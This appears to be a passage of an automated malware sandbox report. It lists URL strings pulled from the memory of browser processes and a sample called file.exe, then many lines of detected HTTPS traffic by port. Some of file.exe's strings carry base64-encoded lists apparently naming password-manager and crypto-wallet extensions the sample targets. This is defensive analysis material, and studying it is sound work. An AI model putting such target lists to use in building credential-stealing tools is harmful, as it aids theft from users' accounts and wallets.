Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000002.00000003.2237791542.00001FDC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416123631.00001FDC00994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000002.00000002.2421949813.00001FDC01B60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2354893364.00001FDC0009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000002.00000002.2354893364.00001FDC0009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=truesers
Source: chrome.exe, 00000002.00000002.2416123631.00001FDC00994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000002.2354715739.00001FDC00077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000002.00000002.2354893364.00001FDC0009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416932689.00001FDC00ADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000002.00000003.2234519517.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359854107.00001FDC00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234061760.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000002.00000002.2415324868.00001FDC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharPk3
Source: chrome.exe, 00000002.00000002.2417815478.00001FDC00C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000002.00000002.2416017345.00001FDC00950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2418343699.00001FDC00CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415268020.00001FDC007E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000002.00000002.2416017345.00001FDC00950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2418343699.00001FDC00CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415268020.00001FDC007E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357147154.00001FDC00464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2358196423.00001FDC005C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000002.00000002.2416797637.00001FDC00A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000002.00000002.2353581588.00001FDC0001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2261425205.00001FDC01454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2259999815.00001FDC01484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2261455366.00001FDC0151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC0148C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256785246.00001FDC0150C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/1280x1024
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2612006536.0000000000B44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2586110375.0000000023C33000.00000004.00000020.00020000.00000000.sdmp, AKKEHIECFCAAFIEBGIDAAEBFCB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000002.00000002.2419499487.00001FDC00E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2354953713.00001FDC000C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html?ls
Source: chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlB
Source: chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
